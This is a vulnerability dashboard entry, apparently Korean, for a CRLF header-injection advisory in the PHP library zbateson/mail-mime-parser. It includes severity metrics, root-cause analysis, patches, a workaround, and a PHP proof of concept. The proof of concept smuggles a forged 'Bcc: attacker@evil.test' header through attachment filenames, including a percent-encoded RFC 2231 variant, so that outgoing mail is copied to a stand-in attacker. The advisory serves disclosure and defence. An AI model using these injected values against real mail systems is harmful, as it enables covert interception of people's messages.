Kestrel
대시보드로 돌아가기
CVE-2026-61815HIGH· 7.2MITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

zbateson/mail-mime-parser has CRLF header injection via attachment filename

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.2high

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위변경
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향없음
버전별 점수
CVSS 3.17.2HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

상세 설명

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

text
1Content-Disposition: attachment;
2 filename="doc
3Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

  • ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so
    a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
  • The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which
    can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

bash
1composer require zbateson/mail-mime-parser
2
3<?php
4require 'vendor/autoload.php';
5use ZBateson\MailMimeParser\MailMimeParser;
6use ZBateson\MailMimeParser\Message;
7
8$parser = new MailMimeParser();
9
10function attachAndReport(string $filename): void {
11 $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
12 $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
13 echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
14 ? "INJECTED\n" : "clean\n";
15}
16
17attachAndReport('invoice.pdf'); // => clean
18attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED
19
20// The CRLF reaches getFilename() straight from parsed mail via an
21// RFC 2231 filename*= parameter, so no local construction is needed:
22$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
23 . "--b\r\nContent-Type: application/octet-stream\r\n"
24 . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
25 . base64_encode('data') . "\r\n--b--\r\n";
26$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
27var_dump($fn); // => string(28) "doc\r\nBcc: attacker@evil.test"
28attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

  • Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.